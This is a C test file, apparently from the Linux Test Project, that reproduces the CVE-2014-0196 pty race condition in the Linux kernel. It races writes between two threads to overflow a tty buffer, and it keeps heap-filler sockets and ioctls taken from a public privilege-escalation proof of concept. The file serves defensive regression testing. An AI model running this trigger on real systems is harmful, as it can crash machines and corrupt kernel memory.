1 /*
2 * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
3 * Original POC by Matthew Daley <mattd@bugfuzz.com>
4 *
5 * This program is free software: you can redistribute it and/or modify
6 * it under the terms of the GNU General Public License as published by
7 * the Free Software Foundation, either version 2 of the License, or
8 * (at your option) any later version.
9 *
10 * This program is distributed in the hope that it will be useful,
11 * but WITHOUT ANY WARRANTY; without even the implied warranty of
12 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 * GNU General Public License for more details.
14 *
15 * You should have received a copy of the GNU General Public License
16 * along with this program. If not, see <http://www.gnu.org/licenses/>.
17 */
18 /*
19 * This test attempts to cause a buffer overflow using the race condition
20 * described in CVE-2014-0196. If the test is successful in causing an
21 * overflow it will most likely result in an immediate Oops, restart or
22 * freeze. However if it overwrites memory not accessed during the test then
23 * it could happen at a later time or not at all which is more likely if SLAB
24 * randomization has been implemented. However as it currently stands, the test
25 * usually crashes as soon as the delay has been calibrated.
26 *
27 * To maximise the chances of the buffer overflow doing immediate detectable
28 * damage the SLAB filler sockets and ioctls from the original exploit POC
29 * have been kept even though they are not strictly necessary to reproduce the
30 * bug.
31 *
32 * Further details:
33 * see linux commit 4291086b1f081b869c6d79e5b7441633dc3ace00
34 * privilege escalation POC https://www.exploit-db.com/exploits/33516/
35 */
36
37 #include <pty.h>
38 #include <stdio.h>
39 #include <string.h>
40 #include <termios.h>
41 #include <limits.h>
42
43 #include "tst_test.h"
44 #include "tst_timer.h"
45 #include "tst_safe_pthread.h"
46
47 #include "tst_fuzzy_sync.h"
48
49 #define ONEOFF_ALLOCS 200
50 #define RUN_ALLOCS 30
51 #define ATTEMPTS 0x7000
52 #define BUFLEN 512
53
54 static volatile int master_fd, slave_fd;
55 static int filler_ptys[ONEOFF_ALLOCS * 2];
56 static int target_ptys[RUN_ALLOCS * 2];
57 static char buf[BUFLEN];
58
59 static pthread_t overwrite_thread;
60 static void *overwrite_thread_fn(void *);
61 static struct tst_fzsync_pair fzsync_pair = TST_FZSYNC_PAIR_INIT;
62
create_pty(int * amaster,int * aslave)63 static void create_pty(int *amaster, int *aslave)
64 {
65 if (openpty(amaster, aslave, NULL, NULL, NULL) == -1)
66 tst_brk(TBROK | TERRNO, "pty creation failed");
67 }
68
setup(void)69 static void setup(void)
70 {
71 int i;
72
73 for (i = 0; i < ONEOFF_ALLOCS; i++) {
74 create_pty(&filler_ptys[i],
75 &filler_ptys[i + ONEOFF_ALLOCS]);
76 }
77
78 fzsync_pair.info_gap = 0xFFF;
79 SAFE_PTHREAD_CREATE(&overwrite_thread, NULL,
80 overwrite_thread_fn, NULL);
81 }
82
overwrite_thread_fn(void * p LTP_ATTRIBUTE_UNUSED)83 static void *overwrite_thread_fn(void *p LTP_ATTRIBUTE_UNUSED)
84 {
85 while(tst_fzsync_wait_update_b(&fzsync_pair)) {
86 tst_fzsync_delay_b(&fzsync_pair);
87 tst_fzsync_time_b(&fzsync_pair);
88
89 SAFE_WRITE(0, slave_fd, buf, BUFLEN - 1);
90 SAFE_WRITE(0, slave_fd, buf, BUFLEN - 1);
91 SAFE_WRITE(0, slave_fd, buf, BUFLEN);
92 if (!tst_fzsync_wait_b(&fzsync_pair))
93 break;
94 }
95 return 0;
96 }
97
run(void)98 static void run(void)
99 {
100 struct termios t;
101 int i, j;
102
103 tst_res(TINFO, "Attempting to overflow into a tty_struct...");
104
105 for (i = 0; i < ATTEMPTS; i++) {
106 create_pty((int *)&master_fd, (int *)&slave_fd);
107
108 for (j = 0; j < RUN_ALLOCS; j++)
109 create_pty(&target_ptys[j],
110 &target_ptys[j + RUN_ALLOCS]);
111 SAFE_CLOSE(target_ptys[RUN_ALLOCS / 2]);
112 SAFE_CLOSE(target_ptys[RUN_ALLOCS / 2 + RUN_ALLOCS]);
113
114 SAFE_WRITE(0, slave_fd, buf, 1);
115
116 tcgetattr(master_fd, &t);
117 t.c_oflag &= ~OPOST;
118 t.c_lflag |= ECHO;
119 tcsetattr(master_fd, TCSANOW, &t);
120
121 tst_fzsync_wait_update_a(&fzsync_pair);
122
123 tst_fzsync_delay_a(&fzsync_pair);
124 tst_fzsync_time_a(&fzsync_pair);
125 SAFE_WRITE(0, master_fd, "A", 1);
126
127 tst_fzsync_wait_a(&fzsync_pair);
128
129 for (j = 0; j < RUN_ALLOCS; j++) {
130 if (j == RUN_ALLOCS / 2)
131 continue;
132
133 ioctl(target_ptys[j], 0xdeadbeef);
134 ioctl(target_ptys[j + RUN_ALLOCS], 0xdeadbeef);
135 SAFE_CLOSE(target_ptys[j]);
136 SAFE_CLOSE(target_ptys[j + RUN_ALLOCS]);
137 }
138
139 ioctl(master_fd, 0xdeadbeef);
140 ioctl(slave_fd, 0xdeadbeef);
141 SAFE_CLOSE(master_fd);
142 SAFE_CLOSE(slave_fd);
143 }
144
145 tst_res(TPASS, "Nothing bad happened, probably.");
146 }
147
cleanup(void)148 static void cleanup(void)
149 {
150 int i;
151
152 if (overwrite_thread) {
153 tst_fzsync_pair_exit(&fzsync_pair);
154 SAFE_PTHREAD_JOIN(overwrite_thread, NULL);
155 }
156
157 for (i = 0; i < ONEOFF_ALLOCS * 2; i++)
158 close(filler_ptys[i]);
159 close(master_fd);
160 close(slave_fd);
161 }
162
163 static struct tst_test test = {
164 .setup = setup,
165 .cleanup = cleanup,
166 .test_all = run,
167 };
168